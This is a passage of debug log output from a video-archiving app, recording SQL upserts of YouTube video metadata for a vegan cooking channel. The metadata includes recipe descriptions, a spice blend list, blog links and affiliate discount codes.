https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "5 vegan casseroles you NEED to make this month! 🌱 Easy, healthy, meal prep friendly", "7c83b4d7-20f7-4722-884d-8738108593f3", 1, [], false, "zbo4_yYMBxg", "https://www.youtube.com/watch?v=zbo4_yYMBxg", 21, "/downloads/downloads/alec/Steamy Vegan/2026-01-22 5 vegan casseroles you NEED to make this month! 🌱 Easy, healthy, meal prep friendly/5 vegan casseroles you NEED to make this month! 🌱 Easy, healthy, meal prep friendly [zbo4_yYMBxg].NA", false, false, false, 1, ~U[2026-01-22 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "These 5 vegan casseroles are the most popular ones on my blog and I personally love to meal prep them because they're high-protein, so cozy, gluten-free, and vegan. Most of them are DUMP AND BAKE, too! Meal prep these vegan recipes and add them to your weekly meal prepping rotation. \n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCASSEROLES FROM THIS VIDEO! (Recipe links below 👇🏻)\nLentil Shepherd's Pie 🔗 https://steamyvegan.com/lentil-shephe...\nTofu Teriyaki Casserole 🔗 https://steamyvegan.com/tofu-teriyaki...\nScarpariello Casserole 🔗 https://steamyvegan.com/scarpariello-...\nChick'n Fajita Casserole 🔗 https://steamyvegan.com/fajita-casser...\nGarlicky Golden Quinoa Casserole 🔗 https://steamyvegan.com/garlicky-gold...\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "5 vegan casseroles you NEED to make this month! 🌱 Easy, healthy, meal prep friendly", 1, nil, false, "zbo4_yYMBxg", "https://www.youtube.com/watch?v=zbo4_yYMBxg", "/downloads/downloads/alec/Steamy Vegan/2026-01-22 5 vegan casseroles you NEED to make this month! 🌱 Easy, healthy, meal prep friendly/5 vegan casseroles you NEED to make this month! 🌱 Easy, healthy, meal prep friendly [zbo4_yYMBxg].NA", false, ~U[2026-01-22 00:00:00Z]] 20:31:06.292 [debug] QUERY OK source="sources" db=1.1ms idle=28.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.295 [debug] QUERY OK source="media_items" db=2.4ms idle=9.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 00:00:00Z], 1] 20:31:06.298 [debug] QUERY OK source="media_items" db=2.2ms idle=9.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis cozy one pot meal gives all the nostalgic vibes! If you love vegan one pot recipes this crustless vegan chicken pot pie is for you. We're using soy curls to make this a healthy vegan recipe, and no crust means less time cooking, fewer calories and fewer dishes! Let me know if you love this healthy vegan recipe!\n\nFull recipe for my CRUSTLESS VEGAN CHICKEN POT PIE is on my blog ➡️ https://steamyvegan.com/crustless-veg...\n\nWant to make this with a pie crust? Try out my vegan and gluten-free homemade pie crust in this video: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Gluten\u00A0Free\u00A0Pie\u00A0Crust\u00A0That's\u00A0BETTER\u00A0...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nWhere you can purchase Butler Soy Curls:\nButler's website 🔗 https://www.butlerfoods.com/storefron...\nAmazon (not affiliated) 🔗 https://www.amazon.ca/s?srs=388126820...\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "One of the COZIEST one pot meals you need to make this winter!", "5aaeb3d2-fd3e-4bf1-b11d-139f7cf3ff69", 1, [], false, "m5egqYwZmjI", "https://www.youtube.com/watch?v=m5egqYwZmjI", 22, "/downloads/downloads/alec/Steamy Vegan/2026-01-20 One of the COZIEST one pot meals you need to make this winter!/One of the COZIEST one pot meals you need to make this winter! [m5egqYwZmjI].NA", false, false, false, 1, ~U[2026-01-20 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis cozy one pot meal gives all the nostalgic vibes! If you love vegan one pot recipes this crustless vegan chicken pot pie is for you. We're using soy curls to make this a healthy vegan recipe, and no crust means less time cooking, fewer calories and fewer dishes! Let me know if you love this healthy vegan recipe!\n\nFull recipe for my CRUSTLESS VEGAN CHICKEN POT PIE is on my blog ➡️ https://steamyvegan.com/crustless-veg...\n\nWant to make this with a pie crust? Try out my vegan and gluten-free homemade pie crust in this video: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Gluten\u00A0Free\u00A0Pie\u00A0Crust\u00A0That's\u00A0BETTER\u00A0...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nWhere you can purchase Butler Soy Curls:\nButler's website 🔗 https://www.butlerfoods.com/storefron...\nAmazon (not affiliated) 🔗 https://www.amazon.ca/s?srs=388126820...\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "One of the COZIEST one pot meals you need to make this winter!", 1, nil, false, "m5egqYwZmjI", "https://www.youtube.com/watch?v=m5egqYwZmjI", "/downloads/downloads/alec/Steamy Vegan/2026-01-20 One of the COZIEST one pot meals you need to make this winter!/One of the COZIEST one pot meals you need to make this winter! [m5egqYwZmjI].NA", false, ~U[2026-01-20 00:00:00Z]] 20:31:06.299 [debug] QUERY OK source="sources" db=0.6ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.301 [debug] QUERY OK source="media_items" db=2.3ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-17 00:00:00Z], 1] 20:31:06.303 [debug] QUERY OK source="media_items" db=1.6ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nIn this what I eat in a day video I'm cooking from home and I'll be showing you the high protein vegans meals I made, plus talk about some of my exciting goals for 2026! I hope you enjoy the easy vegan recipes I made and hope you get some plant-based inspiration!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nWanna keep hanging out with me? Check out these other 'what I eat in a day' videos on my channel next:\nWhat I Eat (to feel better when I'm sad) \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0eat\u00A0in\u00A0a\u00A0day\u00A0to\u00A0feel\u00A0better\u00A0(when\u00A0I...\u00A0\u00A0\nWhat I Eat in a Day (Cozy, feel-good meals) \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0🌱\u00A0Cozy,\u00A0Feel\u00A0Good,\u00A0Fal...\u00A0\u00A0\nWhat I Eat in a Day (REALISTIC, easy high-protein vegan meals \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0🌱\u00A0EASY\u00A0high\u00A0protein\u00A0ve...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nFree Music for Videos 👉 Music by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522\nFree Music for Videos 👉 Music by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0\nFree Music for Videos 👉 Music by HONÜ - Rainbow Falls - https://thmatc.co/?l=0DDBB098\nFree Music for Videos 👉 Music by ninjoi. - Acceptance - https://thmatc.co/?l=EA4B37B8", "VEGAN What I Eat In a Day 🌱 High Protein Vegan Meals & My 2026 Goals 💪🏼", "49c552e9-7b7f-416d-80fa-43b952dc5c64", 1, [], false, "76rphtG4Rl4", "https://www.youtube.com/watch?v=76rphtG4Rl4", 23, "/downloads/downloads/alec/Steamy Vegan/2026-01-17 VEGAN What I Eat In a Day 🌱 High Protein Vegan Meals & My 2026 Goals 💪🏼/VEGAN What I Eat In a Day 🌱 High Protein Vegan Meals & My 2026 Goals 💪🏼 [76rphtG4Rl4].NA", false, false, false, 1, ~U[2026-01-17 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nIn this what I eat in a day video I'm cooking from home and I'll be showing you the high protein vegans meals I made, plus talk about some of my exciting goals for 2026! I hope you enjoy the easy vegan recipes I made and hope you get some plant-based inspiration!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nWanna keep hanging out with me? Check out these other 'what I eat in a day' videos on my channel next:\nWhat I Eat (to feel better when I'm sad) \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0eat\u00A0in\u00A0a\u00A0day\u00A0to\u00A0feel\u00A0better\u00A0(when\u00A0I...\u00A0\u00A0\nWhat I Eat in a Day (Cozy, feel-good meals) \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0🌱\u00A0Cozy,\u00A0Feel\u00A0Good,\u00A0Fal...\u00A0\u00A0\nWhat I Eat in a Day (REALISTIC, easy high-protein vegan meals \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0🌱\u00A0EASY\u00A0high\u00A0protein\u00A0ve...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nFree Music for Videos 👉 Music by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522\nFree Music for Videos 👉 Music by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0\nFree Music for Videos 👉 Music by HONÜ - Rainbow Falls - https://thmatc.co/?l=0DDBB098\nFree Music for Videos 👉 Music by ninjoi. - Acceptance - https://thmatc.co/?l=EA4B37B8", "VEGAN What I Eat In a Day 🌱 High Protein Vegan Meals & My 2026 Goals 💪🏼", 1, nil, false, "76rphtG4Rl4", "https://www.youtube.com/watch?v=76rphtG4Rl4", "/downloads/downloads/alec/Steamy Vegan/2026-01-17 VEGAN What I Eat In a Day 🌱 High Protein Vegan Meals & My 2026 Goals 💪🏼/VEGAN What I Eat In a Day 🌱 High Protein Vegan Meals & My 2026 Goals 💪🏼 [76rphtG4Rl4].NA", false, ~U[2026-01-17 00:00:00Z]] 20:31:06.304 [debug] QUERY OK source="sources" db=0.6ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.306 [debug] QUERY OK source="media_items" db=1.9ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-14 00:00:00Z], 1] 20:31:06.308 [debug] QUERY OK source="media_items" db=1.6ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Dani from \u202A@VeganProteins\u202C and myself are excited to share 2 vegan casseroles in this collab video! They're both high-protein and healthy vegan recipes that are perfect for meal prep! \n\nCheck out Dani's DUMP AND BAKE PIZZA PASTA recipe here! ➡️ \u00A0\u00A0\u00A0•\u00A0This\u00A0Pizza-Pasta\u00A0Combo\u00A0Sounds\u00A0Like\u00A0a\u00A0Cheat...\u00A0\u00A0\n\nGrab my TANDOORI TOFU CASSEROLE recipe on my blog! ➡️ https://steamyvegan.com/tandoori-tofu...\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nHomemade Tandoori Masala\n2 tbsp granulated garlic (sub 1 tbsp garlic powder)\n2 tbsp ground coriander\n1½ tbsp ground cumin\n1 tbsp paprika (regular or sweet)\n1 tbsp ground ginger\n1 tsp ground turmeric\n1 tsp ground cinnamon\n1 tsp ground cardamom\n½ tsp cayenne (or sub 1 tsp red Indian chili powder)\n\nLooking for more recipe inspiration? Check out these other compilation videos of my top vegan recipes on my channel next:\nTop 5 Tofu Recipes: \u00A0\u00A0\u00A0•\u00A0I\u00A0eat\u00A0these\u00A0tofu\u00A0recipes\u00A0ON\u00A0REPEAT\u00A0(my\u00A0bes...\u00A0\u00A0\nTop 5 Vegan Dinner Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0Must\u00A0Try\u00A0Vegan\u00A0Recipes\u00A0to\u00A0Master\u00A0in\u00A02026!\u00A0\u00A0\n5 Healthy Breakfast Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0MUST\u00A0TRY\u00A0Healthy\u00A0Breakfast\u00A0Ideas\u00A0🌱\u00A0(high...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 Healthy Meal Prep Vegan Casseroles Ft. @VeganProteins", "f888befd-816e-4834-ab9b-d23ca78528bb", 1, [], false, "eetwxKh2So4", "https://www.youtube.com/watch?v=eetwxKh2So4", 24, "/downloads/downloads/alec/Steamy Vegan/2026-01-14 2 Healthy Meal Prep Vegan Casseroles Ft. @VeganProteins/2 Healthy Meal Prep Vegan Casseroles Ft. @VeganProteins [eetwxKh2So4].NA", false, false, false, 1, ~U[2026-01-14 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Dani from \u202A@VeganProteins\u202C and myself are excited to share 2 vegan casseroles in this collab video! They're both high-protein and healthy vegan recipes that are perfect for meal prep! \n\nCheck out Dani's DUMP AND BAKE PIZZA PASTA recipe here! ➡️ \u00A0\u00A0\u00A0•\u00A0This\u00A0Pizza-Pasta\u00A0Combo\u00A0Sounds\u00A0Like\u00A0a\u00A0Cheat...\u00A0\u00A0\n\nGrab my TANDOORI TOFU CASSEROLE recipe on my blog! ➡️ https://steamyvegan.com/tandoori-tofu...\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nHomemade Tandoori Masala\n2 tbsp granulated garlic (sub 1 tbsp garlic powder)\n2 tbsp ground coriander\n1½ tbsp ground cumin\n1 tbsp paprika (regular or sweet)\n1 tbsp ground ginger\n1 tsp ground turmeric\n1 tsp ground cinnamon\n1 tsp ground cardamom\n½ tsp cayenne (or sub 1 tsp red Indian chili powder)\n\nLooking for more recipe inspiration? Check out these other compilation videos of my top vegan recipes on my channel next:\nTop 5 Tofu Recipes: \u00A0\u00A0\u00A0•\u00A0I\u00A0eat\u00A0these\u00A0tofu\u00A0recipes\u00A0ON\u00A0REPEAT\u00A0(my\u00A0bes...\u00A0\u00A0\nTop 5 Vegan Dinner Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0Must\u00A0Try\u00A0Vegan\u00A0Recipes\u00A0to\u00A0Master\u00A0in\u00A02026!\u00A0\u00A0\n5 Healthy Breakfast Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0MUST\u00A0TRY\u00A0Healthy\u00A0Breakfast\u00A0Ideas\u00A0🌱\u00A0(high...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 Healthy Meal Prep Vegan Casseroles Ft. @VeganProteins", 1, nil, false, "eetwxKh2So4", "https://www.youtube.com/watch?v=eetwxKh2So4", "/downloads/downloads/alec/Steamy Vegan/2026-01-14 2 Healthy Meal Prep Vegan Casseroles Ft. @VeganProteins/2 Healthy Meal Prep Vegan Casseroles Ft. @VeganProteins [eetwxKh2So4].NA", false, ~U[2026-01-14 00:00:00Z]] 20:31:06.310 [debug] QUERY OK source="sources" db=1.1ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", 